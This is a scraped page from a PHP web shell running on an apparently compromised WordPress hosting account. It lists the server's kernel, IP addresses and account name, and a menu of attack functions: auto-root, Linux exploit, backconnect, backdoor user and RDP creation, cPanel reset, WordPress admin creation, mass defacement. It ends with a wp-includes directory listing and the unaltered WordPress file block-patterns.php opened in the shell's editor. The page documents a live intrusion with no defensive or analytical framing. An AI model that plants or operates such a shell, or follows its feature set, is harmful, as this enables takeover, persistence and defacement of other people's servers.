Linux br942.hostgator.com.br 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Apache
: 162.241.2.188 | : 3.137.189.49
Cant Read [ /etc/named.conf ]
8.2.22
manoe678
May The Force Be With You
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
MASS DEFACE
+ Create Folder
+ Create File
/
home1 /
manoe678 /
public_html /
wp-includes /
[ HOME SHELL ]
Name
Size
Permission
Action
ID3
[ DIR ]
drwxr-xr-x
IXR
[ DIR ]
drwxr-xr-x
PHPMailer
[ DIR ]
drwxr-xr-x
Requests
[ DIR ]
drwxr-xr-x
SimplePie
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxr-xr-x
block-bindings
[ DIR ]
drwxr-xr-x
block-patterns
[ DIR ]
drwxr-xr-x
block-supports
[ DIR ]
drwxr-xr-x
blocks
[ DIR ]
drwxr-xr-x
certificates
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
customize
[ DIR ]
drwxr-xr-x
fonts
[ DIR ]
drwxr-xr-x
html-api
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
interactivity-api
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
l10n
[ DIR ]
drwxr-xr-x
php-compat
[ DIR ]
drwxr-xr-x
pomo
[ DIR ]
drwxr-xr-x
rest-api
[ DIR ]
drwxr-xr-x
sitemaps
[ DIR ]
drwxr-xr-x
sodium_compat
[ DIR ]
drwxr-xr-x
style-engine
[ DIR ]
drwxr-xr-x
theme-compat
[ DIR ]
drwxr-xr-x
widgets
[ DIR ]
drwxr-xr-x
admin-bar.php
36.24
KB
-rw-r--r--
apeF1xtSc8s25sl21mkGfhL.txt
0
B
-rw-r--r--
atomlib.php
11.79
KB
-rw-r--r--
author-template.php
18.51
KB
-rw-r--r--
block-bindings.php
5.46
KB
-rw-r--r--
block-editor.php
28.12
KB
-rw-r--r--
block-i18n.json
316
B
-rw-r--r--
block-patterns.php
12.9
KB
-rw-r--r--
block-template-utils.php
60.46
KB
-rw-r--r--
block-template.php
15
KB
-rw-r--r--
blocks.php
109.11
KB
-rw-r--r--
bookmark-template.php
12.47
KB
-rw-r--r--
bookmark.php
15.07
KB
-rw-r--r--
cache-compat.php
5.83
KB
-rw-r--r--
cache.php
13.16
KB
-rw-r--r--
canonical.php
33.71
KB
-rw-r--r--
capabilities.php
41.72
KB
-rw-r--r--
category-template.php
55.67
KB
-rw-r--r--
category.php
12.53
KB
-rw-r--r--
class-IXR.php
2.55
KB
-rw-r--r--
class-avif-info.php
28.92
KB
-rw-r--r--
class-feed.php
539
B
-rw-r--r--
class-http.php
367
B
-rw-r--r--
class-json.php
42.66
KB
-rw-r--r--
class-oembed.php
401
B
-rw-r--r--
class-phpass.php
6.61
KB
-rw-r--r--
class-phpmailer.php
664
B
-rw-r--r--
class-pop3.php
20.63
KB
-rw-r--r--
class-requests.php
2.18
KB
-rw-r--r--
class-simplepie.php
453
B
-rw-r--r--
class-smtp.php
457
B
-rw-r--r--
class-snoopy.php
36.83
KB
-rw-r--r--
class-walker-category-dropdown...
2.41
KB
-rw-r--r--
class-walker-category.php
8.28
KB
-rw-r--r--
class-walker-comment.php
13.89
KB
-rw-r--r--
class-walker-nav-menu.php
11.76
KB
-rw-r--r--
class-walker-page-dropdown.php
2.65
KB
-rw-r--r--
class-walker-page.php
7.43
KB
-rw-r--r--
class-wp-admin-bar.php
17.46
KB
-rw-r--r--
class-wp-ajax-response.php
5.14
KB
-rw-r--r--
class-wp-application-passwords...
16.7
KB
-rw-r--r--
class-wp-block-bindings-regist...
8.26
KB
-rw-r--r--
class-wp-block-bindings-source...
2.92
KB
-rw-r--r--
class-wp-block-editor-context....
1.32
KB
-rw-r--r--
class-wp-block-list.php
4.65
KB
-rw-r--r--
class-wp-block-metadata-regist...
11.62
KB
-rw-r--r--
class-wp-block-parser-block.ph...
2.5
KB
-rw-r--r--
class-wp-block-parser-frame.ph...
1.97
KB
-rw-r--r--
class-wp-block-parser.php
11.26
KB
-rw-r--r--
class-wp-block-pattern-categor...
5.25
KB
-rw-r--r--
class-wp-block-patterns-regist...
10.53
KB
-rw-r--r--
class-wp-block-styles-registry...
6.25
KB
-rw-r--r--
class-wp-block-supports.php
5.49
KB
-rw-r--r--
class-wp-block-template.php
1.99
KB
-rw-r--r--
class-wp-block-templates-regis...
7.06
KB
-rw-r--r--
class-wp-block-type-registry.p...
4.9
KB
-rw-r--r--
class-wp-block-type.php
16.86
KB
-rw-r--r--
class-wp-block.php
22.5
KB
-rw-r--r--
class-wp-classic-to-block-menu...
3.99
KB
-rw-r--r--
class-wp-comment-query.php
47.26
KB
-rw-r--r--
class-wp-comment.php
9.22
KB
-rw-r--r--
class-wp-customize-control.php
25.25
KB
-rw-r--r--
class-wp-customize-manager.php
197.84
KB
-rw-r--r--
class-wp-customize-nav-menus.p...
56.07
KB
-rw-r--r--
class-wp-customize-panel.php
10.46
KB
-rw-r--r--
class-wp-customize-section.php
10.95
KB
-rw-r--r--
class-wp-customize-setting.php
29.26
KB
-rw-r--r--
class-wp-customize-widgets.php
70.52
KB
-rw-r--r--
class-wp-date-query.php
34.89
KB
-rw-r--r--
class-wp-dependencies.php
14.78
KB
-rw-r--r--
class-wp-dependency.php
2.57
KB
-rw-r--r--
class-wp-duotone.php
39.83
KB
-rw-r--r--
class-wp-editor.php
70.64
KB
-rw-r--r--
class-wp-embed.php
15.56
KB
-rw-r--r--
class-wp-error.php
7.33
KB
-rw-r--r--
class-wp-exception.php
253
B
-rw-r--r--
class-wp-fatal-error-handler.p...
7.96
KB
-rw-r--r--
class-wp-feed-cache-transient....
3.1
KB
-rw-r--r--
class-wp-feed-cache.php
969
B
-rw-r--r--
class-wp-hook.php
15.63
KB
-rw-r--r--
class-wp-http-cookie.php
7.22
KB
-rw-r--r--
class-wp-http-curl.php
12.25
KB
-rw-r--r--
class-wp-http-encoding.php
6.53
KB
-rw-r--r--
class-wp-http-ixr-client.php
3.42
KB
-rw-r--r--
class-wp-http-proxy.php
5.84
KB
-rw-r--r--
class-wp-http-requests-hooks.p...
1.97
KB
-rw-r--r--
class-wp-http-requests-respons...
4.3
KB
-rw-r--r--
class-wp-http-response.php
2.91
KB
-rw-r--r--
class-wp-http-streams.php
16.46
KB
-rw-r--r--
class-wp-http.php
40.6
KB
-rw-r--r--
class-wp-image-editor-gd.php
19.69
KB
-rw-r--r--
class-wp-image-editor-imagick....
33.92
KB
-rw-r--r--
class-wp-image-editor.php
17.12
KB
-rw-r--r--
class-wp-list-util.php
7.27
KB
-rw-r--r--
class-wp-locale-switcher.php
6.62
KB
-rw-r--r--
class-wp-locale.php
16.49
KB
-rw-r--r--
class-wp-matchesmapregex.php
1.79
KB
-rw-r--r--
class-wp-meta-query.php
29.82
KB
-rw-r--r--
class-wp-metadata-lazyloader.p...
6.67
KB
-rw-r--r--
class-wp-navigation-fallback.p...
9
KB
-rw-r--r--
class-wp-network-query.php
19.39
KB
-rw-r--r--
class-wp-network.php
12.01
KB
-rw-r--r--
class-wp-object-cache.php
17.11
KB
-rw-r--r--
class-wp-oembed-controller.php
6.74
KB
-rw-r--r--
class-wp-oembed.php
30.91
KB
-rw-r--r--
class-wp-paused-extensions-sto...
4.99
KB
-rw-r--r--
class-wp-phpmailer.php
3.71
KB
-rw-r--r--
class-wp-plugin-dependencies.p...
24.72
KB
-rw-r--r--
class-wp-post-type.php
29.96
KB
-rw-r--r--
class-wp-post.php
6.34
KB
-rw-r--r--
class-wp-query.php
154.32
KB
-rw-r--r--
class-wp-recovery-mode-cookie-...
6.72
KB
-rw-r--r--
class-wp-recovery-mode-email-s...
10.92
KB
-rw-r--r--
class-wp-recovery-mode-key-ser...
4.77
KB
-rw-r--r--
class-wp-recovery-mode-link-se...
3.38
KB
-rw-r--r--
class-wp-recovery-mode.php
11.18
KB
-rw-r--r--
class-wp-rewrite.php
62.2
KB
-rw-r--r--
class-wp-role.php
2.46
KB
-rw-r--r--
class-wp-roles.php
8.38
KB
-rw-r--r--
class-wp-script-modules.php
19.01
KB
-rw-r--r--
class-wp-scripts.php
27.68
KB
-rw-r--r--
class-wp-session-tokens.php
7.15
KB
-rw-r--r--
class-wp-simplepie-file.php
3.33
KB
-rw-r--r--
class-wp-simplepie-sanitize-ks...
1.87
KB
-rw-r--r--
class-wp-site-query.php
30.88
KB
-rw-r--r--
class-wp-site.php
7.28
KB
-rw-r--r--
class-wp-speculation-rules.php
7.35
KB
-rw-r--r--
class-wp-styles.php
10.75
KB
-rw-r--r--
class-wp-tax-query.php
19.1
KB
-rw-r--r--
class-wp-taxonomy.php
18.12
KB
-rw-r--r--
class-wp-term-query.php
39.91
KB
-rw-r--r--
class-wp-term.php
5.17
KB
-rw-r--r--
class-wp-text-diff-renderer-in...
979
B
-rw-r--r--
class-wp-text-diff-renderer-ta...
18.44
KB
-rw-r--r--
class-wp-textdomain-registry.p...
10.24
KB
-rw-r--r--
class-wp-theme-json-data.php
1.77
KB
-rw-r--r--
class-wp-theme-json-resolver.p...
34.9
KB
-rw-r--r--
class-wp-theme-json-schema.php
7.19
KB
-rw-r--r--
class-wp-theme-json.php
159.71
KB
-rw-r--r--
class-wp-theme.php
64.27
KB
-rw-r--r--
class-wp-token-map.php
27.95
KB
-rw-r--r--
class-wp-url-pattern-prefixer....
4.69
KB
-rw-r--r--
class-wp-user-meta-session-tok...
2.92
KB
-rw-r--r--
class-wp-user-query.php
42.63
KB
-rw-r--r--
class-wp-user-request.php
2.25
KB
-rw-r--r--
class-wp-user.php
22.46
KB
-rw-r--r--
class-wp-walker.php
13.01
KB
-rw-r--r--
class-wp-widget-factory.php
3.27
KB
-rw-r--r--
class-wp-widget.php
18
KB
-rw-r--r--
class-wp-xmlrpc-server.php
210.39
KB
-rw-r--r--
class-wp.php
25.7
KB
-rw-r--r--
class-wpdb.php
115.51
KB
-rw-r--r--
class.wp-dependencies.php
373
B
-rw-r--r--
class.wp-scripts.php
343
B
-rw-r--r--
class.wp-styles.php
338
B
-rw-r--r--
comment-template.php
100.47
KB
-rw-r--r--
comment.php
128.46
KB
-rw-r--r--
compat.php
15.99
KB
-rw-r--r--
cron.php
41.66
KB
-rw-r--r--
date.php
400
B
-rw-r--r--
default-constants.php
11.1
KB
-rw-r--r--
default-filters.php
35.84
KB
-rw-r--r--
default-widgets.php
2.24
KB
-rw-r--r--
deprecated.php
187.07
KB
-rw-r--r--
embed-template.php
338
B
-rw-r--r--
embed.php
37.28
KB
-rw-r--r--
error-protection.php
4.02
KB
-rw-r--r--
feed-atom-comments.php
5.38
KB
-rw-r--r--
feed-atom.php
3.05
KB
-rw-r--r--
feed-rdf.php
2.61
KB
-rw-r--r--
feed-rss.php
1.16
KB
-rw-r--r--
feed-rss2-comments.php
4.04
KB
-rw-r--r--
feed-rss2.php
3.71
KB
-rw-r--r--
feed.php
22.86
KB
-rw-r--r--
fonts.php
9.52
KB
-rw-r--r--
formatting.php
334.24
KB
-rw-r--r--
functions.php
280.81
KB
-rw-r--r--
functions.wp-scripts.php
14.22
KB
-rw-r--r--
functions.wp-styles.php
8.38
KB
-rw-r--r--
general-template.php
168.46
KB
-rw-r--r--
global-styles-and-settings.php
20.76
KB
-rw-r--r--
http.php
24.72
KB
-rw-r--r--
https-detection.php
5.72
KB
-rw-r--r--
https-migration.php
4.63
KB
-rw-r--r--
kses.php
72.73
KB
-rw-r--r--
l10n.php
66.92
KB
-rw-r--r--
link-template.php
154.1
KB
-rw-r--r--
load.php
55.12
KB
-rw-r--r--
locale.php
162
B
-rw-r--r--
media-template.php
61.58
KB
-rw-r--r--
media.php
215.12
KB
-rw-r--r--
meta.php
63.71
KB
-rw-r--r--
ms-blogs.php
25.24
KB
-rw-r--r--
ms-default-constants.php
4.81
KB
-rw-r--r--
ms-default-filters.php
6.48
KB
-rw-r--r--
ms-deprecated.php
21.25
KB
-rw-r--r--
ms-files.php
2.68
KB
-rw-r--r--
ms-functions.php
89.44
KB
-rw-r--r--
ms-load.php
19.42
KB
-rw-r--r--
ms-network.php
3.69
KB
-rw-r--r--
ms-settings.php
4.1
KB
-rw-r--r--
ms-site.php
40.35
KB
-rw-r--r--
nav-menu-template.php
25.38
KB
-rw-r--r--
nav-menu.php
43.33
KB
-rw-r--r--
option.php
100.65
KB
-rw-r--r--
pluggable-deprecated.php
6.18
KB
-rw-r--r--
pluggable.php
119.82
KB
-rw-r--r--
plugin.php
34.63
KB
-rw-r--r--
post-formats.php
6.94
KB
-rw-r--r--
post-template.php
67.04
KB
-rw-r--r--
post-thumbnail-template.php
10.62
KB
-rw-r--r--
post.php
284.88
KB
-rw-r--r--
query.php
36.17
KB
-rw-r--r--
registration-functions.php
200
B
-rw-r--r--
registration.php
200
B
-rw-r--r--
rest-api.php
97.91
KB
-rw-r--r--
revision.php
30.02
KB
-rw-r--r--
rewrite.php
19.08
KB
-rw-r--r--
robots-template.php
5.06
KB
-rw-r--r--
rss-functions.php
255
B
-rw-r--r--
rss.php
22.57
KB
-rw-r--r--
script-loader.php
130.14
KB
-rw-r--r--
script-modules.php
7.53
KB
-rw-r--r--
session.php
258
B
-rw-r--r--
shortcodes.php
23.49
KB
-rw-r--r--
sitemaps.php
3.16
KB
-rw-r--r--
speculative-loading.php
8.36
KB
-rw-r--r--
spl-autoload-compat.php
441
B
-rw-r--r--
style-engine.php
7.39
KB
-rw-r--r--
taxonomy.php
172.1
KB
-rw-r--r--
template-canvas.php
544
B
-rw-r--r--
template-loader.php
2.94
KB
-rw-r--r--
template.php
23.59
KB
-rw-r--r--
theme-i18n.json
1.49
KB
-rw-r--r--
theme-previews.php
2.77
KB
-rw-r--r--
theme-templates.php
6.09
KB
-rw-r--r--
theme.json
8.5
KB
-rw-r--r--
theme.php
131.16
KB
-rw-r--r--
update.php
36.62
KB
-rw-r--r--
user.php
171.7
KB
-rw-r--r--
vars.php
6.41
KB
-rw-r--r--
version.php
1.06
KB
-rw-r--r--
widgets.php
69.06
KB
-rw-r--r--
wp-db.php
445
B
-rw-r--r--
wp-diff.php
799
B
-rw-r--r--
wp-user.php
159.19
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : block-patterns.php
<?php /** * Register the block patterns and block patterns categories * * @package WordPress * @since 5.5.0 */ add_theme_support( 'core-block-patterns' ); /** * Registers the core block patterns and categories. * * @since 5.5.0 * @since 6.3.0 Added source to core block patterns. * @access private */ function _register_core_block_patterns_and_categories() { $should_register_core_patterns = get_theme_support( 'core-block-patterns' ); if ( $should_register_core_patterns ) { $core_block_patterns = array( 'query-standard-posts', 'query-medium-posts', 'query-small-posts', 'query-grid-posts', 'query-large-title-posts', 'query-offset-posts', ); foreach ( $core_block_patterns as $core_block_pattern ) { $pattern = require __DIR__ . '/block-patterns/' . $core_block_pattern . '.php'; $pattern['source'] = 'core'; register_block_pattern( 'core/' . $core_block_pattern, $pattern ); } } register_block_pattern_category( 'banner', array( 'label' => _x( 'Banners', 'Block pattern category' ), 'description' => __( 'Bold sections designed to showcase key content.' ), ) ); register_block_pattern_category( 'buttons', array( 'label' => _x( 'Buttons', 'Block pattern category' ), 'description' => __( 'Patterns that contain buttons and call to actions.' ), ) ); register_block_pattern_category( 'columns', array( 'label' => _x( 'Columns', 'Block pattern category' ), 'description' => __( 'Multi-column patterns with more complex layouts.' ), ) ); register_block_pattern_category( 'text', array( 'label' => _x( 'Text', 'Block pattern category' ), 'description' => __( 'Patterns containing mostly text.' ), ) ); register_block_pattern_category( 'query', array( 'label' => _x( 'Posts', 'Block pattern category' ), 'description' => __( 'Display your latest posts in lists, grids or other layouts.' ), ) ); register_block_pattern_category( 'featured', array( 'label' => _x( 'Featured', 'Block pattern category' ), 'description' => __( 'A set of high quality curated patterns.' ), ) ); register_block_pattern_category( 'call-to-action', array( 'label' => _x( 'Call to action', 'Block pattern category' ), 'description' => __( 'Sections whose purpose is to trigger a specific action.' ), ) ); register_block_pattern_category( 'team', array( 'label' => _x( 'Team', 'Block pattern category' ), 'description' => __( 'A variety of designs to display your team members.' ), ) ); register_block_pattern_category( 'testimonials', array( 'label' => _x( 'Testimonials', 'Block pattern category' ), 'description' => __( 'Share reviews and feedback about your brand/business.' ), ) ); register_block_pattern_category( 'services', array( 'label' => _x( 'Services', 'Block pattern category' ), 'description' => __( 'Briefly describe what your business does and how you can help.' ), ) ); register_block_pattern_category( 'contact', array( 'label' => _x( 'Contact', 'Block pattern category' ), 'description' => __( 'Display your contact information.' ), ) ); register_block_pattern_category( 'about', array( 'label' => _x( 'About', 'Block pattern category' ), 'description' => __( 'Introduce yourself.' ), ) ); register_block_pattern_category( 'portfolio', array( 'label' => _x( 'Portfolio', 'Block pattern category' ), 'description' => __( 'Showcase your latest work.' ), ) ); register_block_pattern_category( 'gallery', array( 'label' => _x( 'Gallery', 'Block pattern category' ), 'description' => __( 'Different layouts for displaying images.' ), ) ); register_block_pattern_category( 'media', array( 'label' => _x( 'Media', 'Block pattern category' ), 'description' => __( 'Different layouts containing video or audio.' ), ) ); register_block_pattern_category( 'videos', array( 'label' => _x( 'Videos', 'Block pattern category' ), 'description' => __( 'Different layouts containing videos.' ), ) ); register_block_pattern_category( 'audio', array( 'label' => _x( 'Audio', 'Block pattern category' ), 'description' => __( 'Different layouts containing audio.' ), ) ); register_block_pattern_category( 'posts', array( 'label' => _x( 'Posts', 'Block pattern category' ), 'description' => __( 'Display your latest posts in lists, grids or other layouts.' ), ) ); register_block_pattern_category( 'footer', array( 'label' => _x( 'Footers', 'Block pattern category' ), 'description' => __( 'A variety of footer designs displaying information and site navigation.' ), ) ); register_block_pattern_category( 'header', array( 'label' => _x( 'Headers', 'Block pattern category' ), 'description' => __( 'A variety of header designs displaying your site title and navigation.' ), ) ); } /** * Normalize the pattern properties to camelCase. * * The API's format is snake_case, `register_block_pattern()` expects camelCase. * * @since 6.2.0 * @access private * * @param array $pattern Pattern as returned from the Pattern Directory API. * @return array Normalized pattern. */ function wp_normalize_remote_block_pattern( $pattern ) { if ( isset( $pattern['block_types'] ) ) { $pattern['blockTypes'] = $pattern['block_types']; unset( $pattern['block_types'] ); } if ( isset( $pattern['viewport_width'] ) ) { $pattern['viewportWidth'] = $pattern['viewport_width']; unset( $pattern['viewport_width'] ); } return (array) $pattern; } /** * Register Core's official patterns from wordpress.org/patterns. * * @since 5.8.0 * @since 5.9.0 The $current_screen argument was removed. * @since 6.2.0 Normalize the pattern from the API (snake_case) to the * format expected by `register_block_pattern` (camelCase). * @since 6.3.0 Add 'pattern-directory/core' to the pattern's 'source'. * * @param WP_Screen $deprecated Unused. Formerly the screen that the current request was triggered from. */ function _load_remote_block_patterns( $deprecated = null ) { if ( ! empty( $deprecated ) ) { _deprecated_argument( __FUNCTION__, '5.9.0' ); $current_screen = $deprecated; if ( ! $current_screen->is_block_editor ) { return; } } $supports_core_patterns = get_theme_support( 'core-block-patterns' ); /** * Filter to disable remote block patterns. * * @since 5.8.0 * * @param bool $should_load_remote */ $should_load_remote = apply_filters( 'should_load_remote_block_patterns', true ); if ( $supports_core_patterns && $should_load_remote ) { $request = new WP_REST_Request( 'GET', '/wp/v2/pattern-directory/patterns' ); $core_keyword_id = 11; // 11 is the ID for "core". $request->set_param( 'keyword', $core_keyword_id ); $response = rest_do_request( $request ); if ( $response->is_error() ) { return; } $patterns = $response->get_data(); foreach ( $patterns as $pattern ) { $pattern['source'] = 'pattern-directory/core'; $normalized_pattern = wp_normalize_remote_block_pattern( $pattern ); $pattern_name = 'core/' . sanitize_title( $normalized_pattern['title'] ); register_block_pattern( $pattern_name, $normalized_pattern ); } } } /** * Register `Featured` (category) patterns from wordpress.org/patterns. * * @since 5.9.0 * @since 6.2.0 Normalized the pattern from the API (snake_case) to the * format expected by `register_block_pattern()` (camelCase). * @since 6.3.0 Add 'pattern-directory/featured' to the pattern's 'source'. */ function _load_remote_featured_patterns() { $supports_core_patterns = get_theme_support( 'core-block-patterns' ); /** This filter is documented in wp-includes/block-patterns.php */ $should_load_remote = apply_filters( 'should_load_remote_block_patterns', true ); if ( ! $should_load_remote || ! $supports_core_patterns ) { return; } $request = new WP_REST_Request( 'GET', '/wp/v2/pattern-directory/patterns' ); $featured_cat_id = 26; // This is the `Featured` category id from pattern directory. $request->set_param( 'category', $featured_cat_id ); $response = rest_do_request( $request ); if ( $response->is_error() ) { return; } $patterns = $response->get_data(); $registry = WP_Block_Patterns_Registry::get_instance(); foreach ( $patterns as $pattern ) { $pattern['source'] = 'pattern-directory/featured'; $normalized_pattern = wp_normalize_remote_block_pattern( $pattern ); $pattern_name = sanitize_title( $normalized_pattern['title'] ); // Some patterns might be already registered as core patterns with the `core` prefix. $is_registered = $registry->is_registered( $pattern_name ) || $registry->is_registered( "core/$pattern_name" ); if ( ! $is_registered ) { register_block_pattern( $pattern_name, $normalized_pattern ); } } } /** * Registers patterns from Pattern Directory provided by a theme's * `theme.json` file. * * @since 6.0.0 * @since 6.2.0 Normalized the pattern from the API (snake_case) to the * format expected by `register_block_pattern()` (camelCase). * @since 6.3.0 Add 'pattern-directory/theme' to the pattern's 'source'. * @access private */ function _register_remote_theme_patterns() { /** This filter is documented in wp-includes/block-patterns.php */ if ( ! apply_filters( 'should_load_remote_block_patterns', true ) ) { return; } if ( ! wp_theme_has_theme_json() ) { return; } $pattern_settings = wp_get_theme_directory_pattern_slugs(); if ( empty( $pattern_settings ) ) { return; } $request = new WP_REST_Request( 'GET', '/wp/v2/pattern-directory/patterns' ); $request['slug'] = $pattern_settings; $response = rest_do_request( $request ); if ( $response->is_error() ) { return; } $patterns = $response->get_data(); $patterns_registry = WP_Block_Patterns_Registry::get_instance(); foreach ( $patterns as $pattern ) { $pattern['source'] = 'pattern-directory/theme'; $normalized_pattern = wp_normalize_remote_block_pattern( $pattern ); $pattern_name = sanitize_title( $normalized_pattern['title'] ); // Some patterns might be already registered as core patterns with the `core` prefix. $is_registered = $patterns_registry->is_registered( $pattern_name ) || $patterns_registry->is_registered( "core/$pattern_name" ); if ( ! $is_registered ) { register_block_pattern( $pattern_name, $normalized_pattern ); } } } /** * Register any patterns that the active theme may provide under its * `./patterns/` directory. * * @since 6.0.0 * @since 6.1.0 The `postTypes` property was added. * @since 6.2.0 The `templateTypes` property was added. * @since 6.4.0 Uses the `WP_Theme::get_block_patterns` method. * @access private */ function _register_theme_block_patterns() { /* * During the bootstrap process, a check for active and valid themes is run. * If no themes are returned, the theme's functions.php file will not be loaded, * which can lead to errors if patterns expect some variables or constants to * already be set at this point, so bail early if that is the case. */ if ( empty( wp_get_active_and_valid_themes() ) ) { return; } /* * Register patterns for the active theme. If the theme is a child theme, * let it override any patterns from the parent theme that shares the same slug. */ $themes = array(); $theme = wp_get_theme(); $themes[] = $theme; if ( $theme->parent() ) { $themes[] = $theme->parent(); } $registry = WP_Block_Patterns_Registry::get_instance(); foreach ( $themes as $theme ) { $patterns = $theme->get_block_patterns(); $dirpath = $theme->get_stylesheet_directory() . '/patterns/'; $text_domain = $theme->get( 'TextDomain' ); foreach ( $patterns as $file => $pattern_data ) { if ( $registry->is_registered( $pattern_data['slug'] ) ) { continue; } $file_path = $dirpath . $file; if ( ! file_exists( $file_path ) ) { _doing_it_wrong( __FUNCTION__, sprintf( /* translators: %s: file name. */ __( 'Could not register file "%s" as a block pattern as the file does not exist.' ), $file ), '6.4.0' ); $theme->delete_pattern_cache(); continue; } $pattern_data['filePath'] = $file_path; // Translate the pattern metadata. // phpcs:ignore WordPress.WP.I18n.NonSingularStringLiteralText,WordPress.WP.I18n.NonSingularStringLiteralDomain,WordPress.WP.I18n.LowLevelTranslationFunction $pattern_data['title'] = translate_with_gettext_context( $pattern_data['title'], 'Pattern title', $text_domain ); if ( ! empty( $pattern_data['description'] ) ) { // phpcs:ignore WordPress.WP.I18n.NonSingularStringLiteralText,WordPress.WP.I18n.NonSingularStringLiteralDomain,WordPress.WP.I18n.LowLevelTranslationFunction $pattern_data['description'] = translate_with_gettext_context( $pattern_data['description'], 'Pattern description', $text_domain ); } register_block_pattern( $pattern_data['slug'], $pattern_data ); } } } add_action( 'init', '_register_theme_block_patterns' );
Close